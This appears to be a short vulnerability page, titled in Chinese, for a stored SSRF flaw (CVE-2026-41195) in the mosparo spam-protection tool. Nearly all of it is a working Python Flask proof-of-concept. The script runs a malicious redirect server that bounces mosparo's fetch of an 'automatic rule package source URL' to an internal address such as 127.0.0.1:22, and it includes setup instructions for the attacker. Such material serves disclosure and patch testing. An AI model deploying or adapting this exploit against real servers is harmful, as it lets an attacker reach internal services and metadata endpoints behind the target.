mosparo 存储型SSRF漏洞 (CVE-2026-41195)

# Proof of Concept for CVE-2026-41195 # Description: This script demonstrates how an attacker can set up a malicious server # to redirect mosparo's requests to an internal address (SSRF). from flask import Flask, redirect, request app = Flask(__name__) # The internal target we want to scan (e.g., local admin panel or metadata service) INTERNAL_TARGET = "http://127.0.0.1:22" @app.route('/malicious-rule-source') def malicious_redirect(): # Log the incoming request to see if mosparo fetched the URL print(f"[+] Request received from mosparo: {request.headers.get('User-Agent')}") # Perform the redirect to the internal IP # The mosparo server will follow this redirect return redirect(INTERNAL_TARGET, code=302) if __name__ == '__main__': print("[*] Malicious redirect server listening on port 8080...") print("[*] Use this URL in mosparo's 'Automatic rule package source URL': http://attacker-ip:8080/malicious-rule-source") app.run(host='0.0.0.0', port=8080)